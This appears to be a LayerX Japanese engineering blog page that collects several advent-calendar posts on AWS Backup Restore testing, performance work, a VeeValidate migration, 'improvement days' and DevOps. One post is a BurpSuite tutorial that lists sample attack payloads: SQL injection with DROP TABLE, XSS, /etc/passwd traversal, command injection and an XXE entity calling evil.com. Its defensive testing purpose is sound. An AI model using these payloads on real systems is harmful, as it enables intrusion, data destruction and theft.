LayerX エンジニアブログ

LayerX の エンジニアブログです。

re:Invent2023 で登場した AWS Backup Restore testing でリストア検証を手軽に始める #LayerXテックアドカレ

こんにちは!バクラク事業部 Platform Engineering 部 DevOps チームの id:sadayoshi_tadaです。今期の呪術廻戦のアニメは原作にない描写が描かれてて最高でした。

この記事は LayerXテックアドカレ 49日目の記事です。前日は id:watau_lx さんによる 継続的なパフォーマンス改善のプロセスを紹介します でした。明日は kakeruさんが担当します。この記事では AWS の学習型カンファレンスである、re:Invnent 2023 で登場した AWS Backup Restore testing を検証した内容をまとめていきます。なお、re:Invent 2023 でのアップデートや新サービスをさらえる AWS re:Invent 2023速報 の資料と動画をもしチェックされてない方がいたら年末年始のタイミングでチェックしてみてください🔎

AWS Backup Restore testing とは

これまではバックアップの復元ができるかどうかの確認は実際にリストアして確認する必要がありましたが、AWS Backup Restore testing(以下、Restore testing)ではリストアをスケジュールで自動で実行して正常に復元できるかどうかを確認することができます。また、リストアテスト後のリソースは削除されるようになっており、余計な課金もかからない制御が入っています。

aws.amazon.com

Restore testing がリリースされたことで、リージョンをまたいだバックアップのコピーを組み合わせて別リージョンにバックアップを複製 → 復元の実行確認のプロセスを自動化もできるようになったのは嬉しいですね!

Restore testing のサポートリソース

2023年12月時点でサポートされているリソースは Aurora/Amazon DocumentDB/DynamoDB/EBS/EC2/EFS/FSx (Lustre、ONTAP、OpenZFS、Windows)/Neptune/RDS/S3 です。逆にサポートされてないのが SAP HANA EC2 Database/VMware Backup/Timestream/Redshift です。

利用可能なリージョン

2023年12月時点で利用可能なリージョンは イスラエル/GovCloud (US-East/US-West)/中国(北京/寧夏) を除く商用リージョンです。

Restore testing にかかるコスト

コスト感も確認しておきます。テストごとに料金が発生し、項目としてはテスト実行にかかる料金とリストアテスト用ストレージの料金です。

aws.amazon.com

例えば、東京リージョンにて Aurora で Restore testing を実行する場合は次の費用がかかります。

課金項目 かかる費用 備考
リストアテスト実行にかかる料金 バックアップまたはリカバリポイントあたり$1.8 -
リストアテスト用のストレージ費用 Aurora の復元は無料 リストアのサービスによって異なります

Restore testing の制約

他サービス同様に Restore testing にも次の制約があります。テストが実行できる数や保護可能なリソース、命名の制約は日頃の利用で気にかけていきたいところです。

・100 restore testing plan

・50 tags can be added to each restore testing plan

・30 selections per plan

・30 protected resource ARNs per selection

・30 protected resource conditions per selection (including those within both StringEquals and StringNotEquals)

・30 vault selectors per selection

・Max selection window days: 365 days

・Start window hours: Min: 1 hour; Max: 168 hours (7 days)

・Max plan name length: 50 characters

・Max selection name length: 50 characters

ドキュメントリンク

docs.aws.amazon.com

Restore testing の準備

Restore testing の実行には2ステップ必要です。①Restore testing plan の作成、②Restore testing resources の設定になります。

①Restore testing plan の作成

まずは Restore testing plan の作成を行います。ここではリストアテスト名、テストの頻度・開始時間、復旧時点の項目を設定します。

リストアテスト名、テストの頻度・開始時間、復旧時点を選択します。

②Restore testing resources の設定

次に Restore testubg のリソースを設定してきます。ここではリストアに使う IAM ロール、リストア後のリソース削除のタイミング、リストアの対象 AWS リソースを設定します。リソース削除はデフォルトは即削除ですが、テストの内容によってはリストア後すぐに削除せずにしておきたい場合もあると思います。そういった場合は Retention period before cleanup のセクションで Retain for a specific number of hours を選択してリソースを保持する時間の指定を行います。

リストアに使う IAM ロール、リストア後のリソース削除のタイミング、リストアの対象 AWS リソースを選択します。

なお、マネジメントコンソール以外の設定方法として AWS CLI(①Restore testing plan 作成②Restore testing resources の設定) や CloudFormation でも設定可能です。Terraform はまた未サポートです。

github.com

Restore testing に関する権限制御

Restore testing で使用する IAM の権限についても簡単にまとめておきます。リストア時に使う IAM の権限はドキュメントに記載のカスタマー管理ポリシーの権限で問題ありませんでした。また、バックアップが KMS で暗号化されている場合は必要な権限を追加しておきましょう。

Restore testing の実行結果の確認

リストアテストの結果は Restore testing > リストアテスト名 を選択すると Restore testing jobs から確認できます。画像の結果ではスケジューリングしてから1時間以内にテストが開始されて16分ほどでテストが完了しました。Aurora のテストでは awsbackup-restore-test-[バックアップリソース ID] でクラスターがスナップショットから作られていました。

この結果は Aurora の Restore teting の結果になります。

オンデマンドバックアップの実行時間と比較

気になったので Restore testing と AWS Backup のオンデマンドリストアでどれくらい時間に差があるのかを確認しました。Restore testing で使用したのと同じバックアップを使ってリストアしてみたところ26分ほどでリストアが完了しました。復旧時間の確認は Restore testing とは別で確認しておくことに留意するのが良さそうです。

まとめ

AWS Backup Restore testing 概要や検証した内容を紹介させてもらいました。設定時は KMS や IAM の権限不足がないか確認しつつ、実行時はコストを気にかけていけばこれまでかかっていた運用負担を省力化することにつながる、アップデートだと感じました!re:Invent 2023 で発表されたアップデートでプレビューだったりするものもあり、触れないものもありますがこういったアップデートを組み込んで開発・運用をよりよくしていきたいですね。

継続的なパフォーマンス改善のプロセスを紹介します #LayerXテックアドカレ

こんにちは、バクラクの請求書受取・仕訳チームでソフトウェアエンジニアをしている id:wataru_lx です。 年末は毎年そばを打っており、今年は十割そばに挑戦します!成功したことはありません。

この記事はLayerXテックアドカレ(概念)の48日目の記事です。昨日は@coco_tyw さんの「VeeValidate v4 の破壊的変更を互換コンポーネントで乗り切った話」をお届けしました。明日は id:sadayoshi_tada さんが担当します。

ありがたいことに、利用されるお客様やシステムで処理する請求書の数も日々増加しており、それに伴いパフォーマンスに関するお問い合わせも増えています。これを受け、私たちはパフォーマンス改善をOKRに掲げ、具体的な取り組みを進めてきました。 パフォーマンス改善は終わりがない旅のようでまだ始まったばかりですが、今回はその改善プロセスついて紹介します。

1. OKRの設定

まずは目標を明確にし、進捗を追跡することが重要だと考えました。

多くの方法がありますが、バクラクではOKRを採用しているので、チームOKRの一部にパフォーマンス改善に関する項目を追加することにしました。これにより、具体的な目標設定と、OKRをトラックすることでその達成度を定期的に評価するようになります。また、定期的な振り返りも仕組み化されているとなお良いですね。

パフォーマンス改善、と一言でいってもかなり幅広く、優先度をつけて実行していく必要があります。 どの体験から改善していくかは、DevOps チームと一緒にCUJ(Critical User Journey)を定義するところから始めました。

その具体的な取り組みについては id:sadayoshi_tada さんの記事をご参照ください。

tech.layerx.co.jp

2. 計測する

「推測するな、計測せよ」という言葉がありますが、現状の課題を把握するためもまずきちんと計測することから始めました。また、改善結果の振り返りを行う際にも計測していないと定量的な評価はできません。

もともと計測自体は行われているものの、メトリクスの収集に関して不十分な箇所があり、これを機に整えました。

バクラクではサービスの監視にDatadogを使用しており、Application Performance Monitoring(以下APM)やログ管理にも利用しております。

具体的には以下のような実装をし、必要なメトリクスが収集されるようにしました。

  • ログに不足していた項目の追加
  • レイテンシの単位が一部ブレていたので統一
  • APMが導入されていなかったコンポーネントにも導入
  • SQLTraceにお客様を識別するIDの追加
  • Trace情報のサービス間伝搬

そしてそのメトリクスを元に、前述したCUJに基づいたフォーカスしたいお客様体験に関するDatadogのダッシュボードを作成しました。今後の改善、振り返りのサイクルの中で何度も見ていくことになります。

また、バックエンドのAPIやDBのフォーマンスだけでなく、フロントエンドからみたパフォーマンスも計測の対象としました。

お客様の体験を改善するには、フロントエンドからみたパフォーマンスのほうがより実態に近いと考えたからです。そのためダッシュボードにはDatadog Real User Monitoring(以下RUM)で収集したメトリクスなど、 フロントエンド側のメトリクスも含めています。

Datadogのダッシュボードに表示しているAPIレイテンシの一部。変化がわかりやすいように1週間前の数値も表示している。

Datadogのダッシュボードに表示しているRUMのメトリクスの一部

3. 改善

計測した結果をもとに、改善できそうな箇所を見つけて実装していきます。改善案を考える際にはDatadogのAPMそのTrace情報も役立ちました。例えば時間がかかっている処理やSQLクエリの特定や、お客様ごとの特定の処理のレイテンシなどをかんたんに見ることができます。

今回の主題ではないため詳細には書きませんが、以下のような改善を実装していきました。

  • レスポンスのgzip圧縮
  • SQLのクエリを最適化
  • 時間がかかっている処理の並列化
  • 画面描画に必要ない情報のフェッチを必要なタイミングまで遅らせる
  • JSのbundleサイズ削減

4. 振り返り

出して終わりではなく、結果を見て振り返ることも大切です。リリース前後で関係者で集まってダッシュボードのメトリクスをチェックし、どれくらい改善したかの評価を行い、ネクストアクションを決めました。

また、どのバージョンでどのような改善施策がリリースされるのかと、リリース前後のメトリクスをスナップショットとして記録しました。リリース後すぐに振り返りを実施することが理想ですが、記録しておくことであとから振り返ることも可能になります。

リリース前後で主要メトリクスのスナップショットを記録している

この「改善」、「振り返り」のサイクルを複数回実行することで目標達成にむけて進捗していき、今年の第3四半期(Q3)の終わりには、この期間中の改善結果のサマリを作成しました。普段振り返りに参加していないメンバーやチーム内外への成果の共有が容易になりますし、OKRの達成度をトラックする上でも四半期ごとなどのまとまった単位でも結果をまとめておくことは有効です。

Q3の改善結果サマリ

5. さらなる改善に向けて

ここまで全お客様を対象とした目標値に対する改善を行ってきましたが、実はお客様によってパフォーマンスが大きく異なることが計測の結果わかっています。請求書受取・仕訳では複雑なフィルター機能などもサポートしているため、お客様の利用方法によっても体験に差が出る可能性がありますし、全体だけを見ていると個別のお客様の問題を見落としてしまうかもしれません。

計測を行った結果、特定のお客様でRUMのLong Task*1のメトリクスの数値が悪いことに気が付きました。お客様環境でどのような問題が起きているのかを特定するためにDatadogのSession Replayを導入して録画された画面操作などを見てみましたが具体的な問題特定には至りませんでした。

そこで、直接お客様のもとへ行き、日次や月次の業務でのバクラクの請求書受取・仕訳の利用方法やペインポイントについてヒアリングをしたり実際の画面操作を見せてもらうことを予定をしています。

個々のお客様に対する解像度を上げることで、より具体的かつ効果的な改善策を見つけ出すことがねらいです。前述したDatadogのダッシュボードにも、全体だけではなくベンチマークとしている個別のお客様だけで絞り込んだメトリクスも表示しています。

また、これらの学びは他のお客様にも適用可能であり、最終的には全体的なお客様体験の向上に繋がると信じています。

おわりに

バクラクの請求書受取・仕訳チームが直面しているパフォーマンスの課題にどのように取り組んでいるかを紹介しました。私たちの取り組みは、目標設定(OKR)の明確化から始まり、実際のパフォーマンス計測、データに基づく改善策の実施、そしてその結果の振り返りという一連のサイクルを実施してきました。

パフォーマンス改善の旅はまだ始まったばかりですが、この継続的な改善プロセスを通じてよりお客様のハタラクをバクラクにしていきます!

LayerXではお客様のハタラクをバクラクにするプロダクトを一緒に開発する仲間を大募集中です!LayerX Casual Night というプロダクトやチーム、技術の話をゆる〜く行うイベントも開催しておりますので、興味を持たれた方はぜひご参加ください!次回は2024/1/30(火)開催で、日本酒 Nightです。

jobs.layerx.co.jp

*1:ブラウザのメインスレッドを占有するような実行時間が長いタスク

VeeValidate v4 の破壊的変更を互換コンポーネントで乗り切った話 #LayerXテックアドカレ

こんにちは。LayerX バクラク事業部 バクラク請求書受取・仕訳チーム エンジニアの coco です。最近人生で初めてクリスマスにプレゼントをするということをしました。喜んでもらえると嬉しいものですね。

この記事は LayerXテックアドカレ2023 47日目の記事です。 前回は同じく バクラク請求書受取・仕訳チーム の noritama さんが 「BurpSuiteを使ってサクっとWebアプリケーションの脆弱性診断を実施する」を書いてくださいました。 次回も同チームの wataru さんが書いてくれる予定なのでご期待ください!

今回は バクラク請求書受取・仕訳チーム で行った Vue3 移行作業のうちの VeeValidate v4 の破壊的変更を互換コンポーネントを用意して乗り切った方法についてご紹介します。全体的な状態と進行は主に tatane さんの 「バクラクの Vue3 移行戦略と詰まったポイント」 を参考にしていただければと思います。

Vue3 化の対応方針

Vue3 化の作業は2023年の7月からスタートしました。

Vue2 の EOL(end of life) は2023年の末と半年ほど残っている状態でしたが、バクラク請求書受取・仕訳 はバクラクシリーズの中でも最も歴史が長いこともあり、Nuxt や使用しているライブラリのバージョンが最も古く、不確実性が高いことから最速で開始できたこの時期に開始しました。

当時バクラク請求書受取・仕訳 ではインボイス制度対応の機能が次々とリリースされ、主にそちらにチームのリソースを割いていたため新機能開発を止めて Vue3 化に注力するという選択肢は取れない状態でした。またQAチームのリソースも限られているため慎重に検証し、なるべく影響範囲が小さくなるようにリリースを重ねていきました。

Vue3 化ロードマップ
Vue3 化ロードマップ

VeeValidate v4の破壊的変更

VeeValidate は vue の form validation 用のライブラリです。VeeValidate は Vue3 化に伴って v3 から v4 にアップデートする必要があり、VeeValidate の v3 と v4 の IF と機能の違い の違いから バクラク請求書受取・仕訳 で多くの破壊的変更が必要でした。

具体的には機能の違いによって全ての VeeValidate の使用箇所のロジックの変更。さらに IF の違いからコードの変更箇所も多くなります。

バクラク請求書受取・仕訳 ではほぼ全てのフォームで VeeValidate を使用しており、以下の点で全てのフォームに破壊的変更を加えるのは現実的ではないという判断になりました。

  • フォーム数が多く、全箇所を変更した場合の検証に要するQA工数を確保できない
  • ユーザー影響があった場合の深刻度が大きい仕訳画面で使用されている

Vue2, Vue3 で破壊的変更がない validation ライブラリがあればそちらへの移行も検討したかったのですが、そういったライブラリは見つかりませんでした。

そもそも VeeValidate が v3 で実装していた IFを維持できずに破壊的な変更をせざるを得なかった理由を調査したところ Vue 内部の VNode の API が大きく変わったことによって v-model が適用されている場所を検知できなくなっていることが主な原因だということがわかりました。

v-model が適用されている場所を検知して、ユーザーの入力による inputイベント等をトリガーにvalidationを実行していたため、validationの実行タイミングが掴めなくなっていたわけです。

しかし VeeValidate v3 のソースコードを読んだところ以下の点から validation の実行タイミングを自前で用意することで VeeValidate v3 の使用箇所を部分的に移行していくことができるのではないかと考えました。

VeeValidate 互換コンポーネント

前提として バクラク請求書受取・仕訳 のユースケースにおいて互換性を持たせているのでVeeValidateの全ての機能で互換性があるわけではないです。

validation 実行タイミング

ユーザーが入力を行ったタイミングで validation の実行を行いたいので form に bind している値をwatchして、変化が起こったタイミングで validation を実行することにしました。

注意する点としては inputイベント等の入力を検知しているわけではなく、reactive な値の変更を検知しているため、補完機能等によって値が上書きされたタイミングでも validation が実行されてしまいます。

バクラク請求書受取・仕訳では補完したタイミングで validation の実行結果をリセットするような仕様になっていたので実行結果をresetする関数を提供し、補完後にそれを呼び出す形で対応しました。

export const useLxValidationProvider = <T extends string | number | boolean | string[] | number[] | null>(
  value: ComputedRef<T>,
  ...
): LxProvider => {
  ...

  const reset = async () => {
    // validation 状態の reset
  }

  const lxProvider: LxProvider = {
    ...
    reset,
  }
    
  // valueの変更を監視し、validationを実行する
  watch(value, () => validate())

  return lxProvider
}

VeeValidate との連携

前述した通り VeeValidate が ValidationObserver, ValidationProvider の連携に使用してる provide/inject 用の文字列を使用してオリジナルのコンポーネント(LxValidationObserver, LxValidationProvider)の連携を行っていきます。

provide/inject で使用されている文字列は非公開の内部で使用されているものですが、VeeValidate v3 は2022年の7月から更新されておらず、今後も更新がされない可能性が高いことから使用しても問題ないと判断しました。

export const useLxValidationObserver = (): LxObserver => {
  ...

  // VeeValidate の Provider を拾えるように VeeValidate の InjectionKey を使用する
  const providedVee = inject<VeeLikeObserver | null>(VeeValidateInjectionKey, null)
  if (!providedVee) {
    provide<VeeLikeObserver>(VeeValidateInjectionKey, veeLikeObserver)
  }
}

export const useLxValidationProvider = (...): LxProvider => {
  ...

  // Subscribe 処理
  const $veeObserver = inject<VeeLikeObserver | null>(LxValidateInjectionKey, null)
  if ($veeObserver) {
    $veeObserver.observe(lxProvider, LxObserverSubscriberType.LxProvider)
    onBeforeUnmount(() => {
      $veeObserver.unobserve(lxProvider.id, LxObserverSubscriberType.LxProvider)
    })
  }
}

これで VeeValidate と連携することができるようになったので影響範囲を小さくするために段階的に移行することが可能になります。

置き換えを行う順番として以下の二つが考えられます

  • ValidationObserver を LxValidationObserver に置き換えたのちに ValidationProvider を LxValidationProvider に置き換える
  • ValidationProvider を LxValidationProvider に置き換えたのちに ValidationObserver を LxValidationObserver に置き換える

ValidationProvider から置き換えてしまった場合 ValidationObserver が ValidationProvider に期待している全ての振る舞いに対応させる必要が出てきます。

全ての機能に互換性を持たせたいわけではなく、バクラク請求書受取・仕訳 におけるユースケースで互換性を持たせるので十分であったため、後者の方法で置き換えることで最低限の機能の置き換えで済ませました。

互換性の対応表は以下のようになってます。

LxValidation の互換性対応表
LxValidation の互換性対応表

この表から分かるように ValidationObserver を一括して LxValidationObserver に変更した後に段階的に ValidationProvider を LxValidationProvider に変更することができます。

ValidationObserver を一括して変更するため影響範囲は大きくなりますが、Observer が主に提供している機能はネストしている Provider の status の集約と reset 機能の提供です。それらの機能に関して VeeVlidate が行っているテストの内容と同じものをオリジナルのコンポーネントでも用意することで QA が全てのフォームを事細かに検証せずとも、form の status が UI に表示されていることを確認するだけで済むようにしました。

ValidationObserver の置き換えが完了すれば、あとは ValidationProvider → LxValidationProvider を段階的に移行することができるので影響範囲を小さく、リリースを分割して行えます。

結果

結果としてオリジナルのコンポーネントを利用したことで影響範囲を小さくでき、インシデントや hotfix につながることなく安全に移行することができました。 現在もプロダクションで元気に動いてくれています。

インシデントの発生を一番の課題と捉えていたので嬉しい限りです。

また、実装詳細について触れることはできませんでしたが、コンポーネントの IF を VeeValidate とほぼ同じ形にするということもしていました。 その結果、コードの変更箇所が少なくなり、レビューもしやすく、ミスが起こりづらかったように思います。

さらにチーム内で作業を分担することでインボイス制度の新機能にも対応しながら2回のリリース(約1ヶ月)で移行を完了させることができました。

振返り

破壊的変更における影響範囲を小さくするためにオリジナルのコンポーネントを作成し対応するということをしました。結果でも振り返ったようにインシデントにならずに短期間で置き換えることができました。

ですが、オリジナルコンポーネントの開発、テスト実装、動作確認、メンバー共有のためのドキュメント作成など想像以上にやることも多かったため正直もうやりたくはないですね。。。w

今後としては、UXの向上やメンテナンスコストの観点でオリジナルのコンポーネントを別のライブラリに置き換える対応が必要になるかと思います。こちらに関しては移行先のライブラリと共存させつつフォーム毎に段階的に移行させれると思うので時期を見てやっていきたいと思います。

おわりに

今回は バクラク請求書受取・仕訳 で行った VeeValidate の移行についてご紹介させていただきました。

Vue3化だけに留まらず保守性やパフォーマンスの観点での改善など課題は山積みです。。。

バクラク事業部ではフロントエンドのカイゼンをこれまで以上に進めていこうと思っており、プロダクトエンジニアに加えて「フロントエンドEnabling」といったロールの採用も始めています。

ハタラクをバクラクにするプロダクトを一緒に開発していきたい人、スペシャリストとして事業部全体のフロントエンドをカイゼンしていきたい人を大募集中です!もしご興味ありましたら、ぜひカジュアル面談からお話させてください!

jobs.layerx.co.jp

後回しにされがちな問題を改善するための「改善デー」「やさしさデー」のご紹介 #LayerXテックアドカレ

こんにちは。バクラク申請・経費精算エンジニアの@upamuneです。12/24日のM-1グランプリの敗者復活戦を軽い気持ちで見に行ったら、パイプ椅子に7時間座ることになって腰がやられました。

この記事はLayerXテックアドカレ2023の43日目の記事です。 私はなぜか3日分もテックアドカレに入れてしまったのですが、3回目の今回は「改善デー」「やさしさデー」という取り組みの話を紹介しようと思います。

「改善デー」とは

弊チームでは「改善デー」という名前のイベントを約1ヶ月に1度のペースで開催しています。これは、チームメンバーが「普段改善したいと思っているけど、中々できていないことをやる日」です。

実施に至った背景としては、主に以下の2点がありました。

  • シビアに優先度を検討した結果、機能開発の優先度が上がり改善に手を付けられていなかった
  • ロードマップでは開発リソースのN%を「やさしさ対応」(後述)に充てるとしていたが実際はリソースを充てられていなかった

以上の課題を解決するために、これまで今年の4月から始めて7回開催してきました。

ここからは、派生して最近新しく誕生した「やさしさデー」と「改善デー」の一連の流れ、さらに実際に改善した事例をご紹介します!

「やさしさデー」とは

バクラク事業部では、「お客様にとって使いづらい、分かりづらいことを改善すること」を「やさしさ対応」と呼んでいます。この「やさしさデー」は、「改善デー」と同じスタイルで開催されますが、遅れてしまっている「やさしさ対応」に取り組みます。

また、弊チームでは毎週カスタマーサポートチームとMTGを行っているため、お客様に分かりづらいことが原因でお問い合わせが増えている課題を「やさしさデー」で改善することで、お問い合わせの削減にも繋がり、チームをまたいで効果が発揮されています。

弊チームが先行して試しに実施していますが、「改善デー」では対応しきれない課題にも取り組むことができ、効果を感じています。なお、「改善デー」とは別日に開催され、毎月1ヶ月の間に「改善デー」と「やさしさデー」が1日ずつあるようになっています。

 「改善デー」の流れ

「改善デー」と「やさしさデー」は取り組む内容が異なるだけで、流れは同じです。ここでは、「改善デー」をベースに流れを説明します。

まずは、開催より前に参加メンバーの予定を丸1日空けることが重要です。改善デーと言いつつ、ミーティングが詰まっていると思うような成果が出せないため、予定されているミーティングを再調整します。なお、「改善デー」の開催日程は約1ヶ月前に決まっているため、ミーティングの再調整はしやすくなっています。

次に開催日前になると、Notionに「改善デー」のページを作成して、チームメンバーごとにやることを書いておきます。これによって、当日誰が何をやっているのか分からないということが無くなります。また、新メンバーなど改善したいことが思い浮かばないという人のためには「改善したいネタ」というのが書かれているので、そこからやることを決めます。

開催当日は、やることがすでに決まっていて事前にミーティングを無くしているので、ずっと改善できる幸せな日になります。普段1日中ミーティング無しで開発できる日は無いので貴重な機会ですね。

夕方まで目一杯改善した後は、チーム内の夕会でそれぞれ成果発表をします。以上が一連の「改善デー」の流れです。

「改善デー」「やさしさデー」で実際に改善された事例

「改善デー」は弊チームだけではなく、他のチームでも実施されています。弊チームの事例と合わせて、他のチームの事例もいくつか紹介します!

申請・経費精算チーム

弊チームで「改善デー」「やさしさデー」で取り組んだほんの一部をご紹介します!

  • 改善デー
    • Flakyなテストの修正
    • KPTをSlackからMiroに連携できるように
    • エラーログが出すぎている原因となっているエラーハンドリングの改善
    • ドキュメントの整備
    • フロントエンドの型付け・型エラー修正
  • やさしさデー
    • エラーメッセージをより分かりやすいものにする
    • Empty statesを用意する

などなど

「KPTをSlackからMiroに連携できるように」した話と、「エラーハンドリングの改善」については別途ブログを書いているのでそちらもご確認ください!

tech.layerx.co.jp

tech.layerx.co.jp

カードチーム

  • エラーハンドリング改善
  • 運用マニュアルの整備
  • Playwright導入してテスト基盤構築

などなど

請求書・仕訳チーム

  • 5xxエラーが出てしまう部分のエラーハンドリングの修正
  • GoのAPIサーバーにgoogle/wireを導入してDI周りをスッキリさせた
  • フロントエンドのcomponent共通化
  • 無駄なクエリ発行をやめてパフォーマンス改善

などなど

さいごに

改善デーの成果に歓喜するプロダクトマネージャー

弊チームの「改善デー」「やさしさデー」の紹介と、実際の改善した事例をいくつか紹介しました。 全体の開発の20%を改善にすると設定しても、実態はなかなかそれのための時間を取れないことが多いです。ずっと後回しになってしまっているという場合は、「改善デー」を導入して改善する機会を作り出すのはいかかがでしょうか。

「改善デー」の次回開催は今週なので、今から楽しみです。


LayerXオフィスでカジュアルにドリンクを飲む会を企画しました。こちらも是非ご覧ください!

jobs.layerx.co.jp

BurpSuiteを使ってサクっとWebアプリケーションの脆弱性診断を実施する #LayerXテックアドカレ

こんにちは、バクラク請求書受取チーム エンジニアの @noritama です。
今年は無事に結婚でき、めでたい1年となりました。

この記事は LayerXテックアドカレ (概念) 46日目の記事です。昨日は uehara さんの 「マイクロサービス環境における Amazon OpenSearch Serverless のポリシー設計 #LayerXテックアドカレ - LayerX エンジニアブログ 」でした。

今回はBurpSuiteを使って脆弱性診断が可能かを検証した話をします。

BurpSuite

https://portswigger.net/burp

今回の検証では Burp Suite Community Edition version 2023.11.1.3 を使用しています。

BurpSuiteでできること

自動診断ツールやセキュリティ診断技術者が手動でリクエストするのと同じように、リクエストパラメータに診断値を挿入し、レスポンスの挙動から脆弱性の有無を判定することができるツールです。 今回使用したCommunity Editionでは機能制限もありますが、一通り診断実施までは可能です。

HTTP通信をInterceptして診断値を挿入する

リクエストをInterceptする

[Proxy] -> [Intercept] で "Intercept is off" をクリックする。(少しわかりにくいですが、ボタンのラベルが "Intercept is on" になっているときがInterceptできる状態です。

Intercept is on
"Open browser" をクリックするとブラウザが起動します。内部ではProxyServerが起動していて、このブラウザ経由の通信が全てProxyを経由することでInterceptが可能になっています。
診断対象のサイトにアクセスすると、リクエストがInterceptされ詳細が表示されます。
Interceptされたリクエスト
リクエストの内容を書き換えて送信したい場合は、PrettyタブもしくはRawタブで内容を変更し、[Forward] ボタンを押します。 リクエストをサーバに送らずに破棄したい場合は [Drop] ボタンを押します。

すべてのリクエストがInterceptされるとなかなか目的のリクエストに到達しない場合、Interceptしたいリクエストをフィルタリングすることも可能です。

[Proxy Settings] -> [Request interception rules]

レスポンスをInterceptする

[Proxy settings] -> [Response interception rules] で [Intercept responses based on the following rules] にチェックが入っている場合、レスポンスをInterceptできます。
rulesで Match type: Request, Match relationship: Was intercepted を指定しておくことで、リクエストをInterceptしたときのレスポンスだけIntercept可能なので入れておくことをおすすめします。

[Proxy Settings] -> [Response interception rules]

リクエスト同様、内容を書き換えて[Forward]でブラウザに返却、[Drop]で破棄できます。 最低限手動で脆弱性診断をする場合は、このレスポンス内容を見ることで脆弱性の有無を見ていくことができそうです。

診断値を自動で挿入する

Proxyでは自ら診断値を設定しレスポンスを目で見て確認する必要があり、なかなか実用的とは言い難いものでした。しかしIntruderを使うことで、設定さえ正しく行えば確実に診断を実施することが可能になります。

設定

[Proxy] -> [HTTP History] から診断したいリクエストを右クリック -> [Send to Intruder] を選択します。

Send to Intruder

Positions

[Choose an attack type] ではPayloadがPositionに割り当てられる方法を指定することができます。

  • Sniper: このAttackTypeは、1つのペイロードセットから各ペイロード位置に順番にペイロードを配置します。このAttackTypeは、個々の脆弱性に対して個別にリクエストパラメータをファジングするのに役立ちます。
  • Battering ram: このAttackTypeは、定義されたすべてのペイロード位置に同じペイロードを同時に配置します。このAttackTypeは、リクエスト内の複数の場所に同じ入力を挿入する必要がある攻撃に役立ちます。
  • Pitchfork: このAttackTypeは、各定義された位置に異なるペイロードセットを反復処理します。ペイロードは、同時に各位置に配置されます。このAttackTypeは、リクエスト内の複数の場所に異なるが関連する入力を挿入する必要がある攻撃に役立ちます。
  • Cluster bomb: このAttackTypeは、各定義された位置に異なるペイロードセットを反復処理します。ペイロードは、すべてのペイロードの組み合わせがテストされるように、各セットから順番に配置されます。このAttackTypeは、リクエスト内の複数の場所に無関係または不明な入力を挿入する必要がある攻撃に役立ちます。

今回は最もシンプルなSniperを使用していきます。

choose an attack type

[Payload positions] で診断値を素運輸したい箇所に § を挿入して指定できます。
パラメータの末尾に診断値を挿入したい場合は param§、パラメータ値を診断値に置き換えたい場合は §param§ のように指定します。

Payload positions

Payloads

[Payload settings] に診断値を登録していきます。最も専門的な知識が必要な部分になりますが、ここでは一例として下記を登録してみます。

- SQLインジェクション
  - `' OR '1'='1`  
  - `1; DROP TABLE users;`  
- クロスサイトスクリプティング   
  - `<script>alert("XSS");</script>`  
  - `<img src="javascript:alert('XSS');">`  
- ディレクトリトラバーサル 
  - `../../etc/passwd`  
- コマンドインジェクション 
  - `; ls -al`  
- XML外部エンティティ (XXE)  
  - `<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://evil.com/xxe"> ]>`  
- セッションハイジャック  
  - `Cookie: sessionid=attacker_session`  
- ヘッダーインジェクション  
  - `Host: evil.com`  
- HTTPヘッダーインジェクション  
  - `X-Forwarded-For: evil_ip`

診断を開始する

右上の[Start attack]でリクエストを開始します。今回はCommunity Editionを使っているため、いくつかの機能が制限され、時間制限がかかるよというアラートが表示されますが、気にせず[OK]を押すとリクエストが開始されます。

start attack

診断結果を確認する

任意の行を選択することで、リクエストとレスポンスの内容を確認できます。

診断結果
また、[Grep - Match] を設定した場合は、一覧の右側に設定ごとの列があり、一致するレスポンスがあった場合には「1」が表示されます。大量の診断を実施する場合には便利そうです。

Webサイトをクロールして自動で脆弱性を発見する(Professional Only)

BurpSuiteにはScannerという機能があり、WebサイトのURL内のコンテンツをクロールし、アプリケーションの診断を自動化してくれます。
今回はCommunity Editionのため試せませんでしたが、興味とお金に余裕のある方は試してみてはいかがでしょうか。
会社で導入してエンジニア全員が触れるようにしたいという場合にはEnterprise Editionがありますが、決して安くはないので社内に診断担当者を置く形が現実的なのかなと思います。

まとめ

ここまでBurpSuiteを使って脆弱性診断を実施する方法について解説してきました。
自身で適切なパラメータを指定できるのであれば、ある程度活用できるのではないかと思います。しかし、セキュリティの知識が浅い筆者のようなエンジニアでは、これだけでセキュリティを担保するのは難しいでしょう。
バクラクでは脆弱性診断は外部の診断会社に委託していますが、診断会社の診断結果に基づいてアプリケーションを修正した後、修正が正しく行えたかどうかを確認する等、補完的な位置付けであれば活用できそうです。

ハタラクをバクラクにするプロダクトを一緒に開発していきたい人を大募集中です!もしご興味ありましたら、ぜひカジュアル面談からお話させてください! LayerX Casual Night というお酒を飲みながらカジュアル面談よりカジュアルにゆる~く話せるイベントも開催しておりますので、ぜひご参加ください! jobs.layerx.co.jp

採用情報はこちら↓ jobs.layerx.co.jp

バクラクの爆速開発を支えるDevOpsチームの「のびしろ」! #のびしろウィーク

こんにちは!バクラク事業部DevOpsチームです。

この記事は LayerXテックアドカレ2023 の37日目の記事です、前回はid:kikuchyさんが『歳末!バクラク申請・経費精算モバイルアプリ のびしろ大放出祭 』という記事を書いてくれました。また、38日目はid:suguru『バクラク Enabling Team の課題とのびしろ #のびしろウィーク』を書いてくださいました!

今回はのびしろウィークということで、バクラクのDevOpsチームの伸びしろをお伝えできればと思います!

のびしろウィークとは

のびしろウィークとは、LayerXの各チームメンバーが自分たちのチームの「のびしろ」について対外的に発信する期間です! 過去の対外的な発信では社内でうまく行った事例などについては各種発信していましたが、どういう課題があってどういった方の協力を求めているかについての発信はあまり行なっていませんでした。

もちろん多くの企業と同じように不確実な市場で事業に向き合っているため、うまくいったこともあれば、これからもっと整備したい部分、いわば「のびしろ」もたくさんあります。 今回はDevOpsチームが抱えるのびしろについてご紹介させてもらえればと思います!

のびしろをざっと読んでみて、「その課題、一緒に取り組んでみたい!」とすこしでも思っていただけたら、ぜひ気軽にご連絡ください!

バクラクのDevOpsチームについて

正式には「バクラク事業部Platform Engineering部DevOpsグループ」と言います(以下、「DevOpsチーム」と呼びます)。バクラクの各プロダクト群を開発する「バクラク事業部プロダクト開発部」(以下、「プロダクト開発チーム」と呼びます)に対して、プラットフォーム領域からプロダクト開発を支援する横断組織として「バクラク事業部Platform Engineering部」が存在しています。

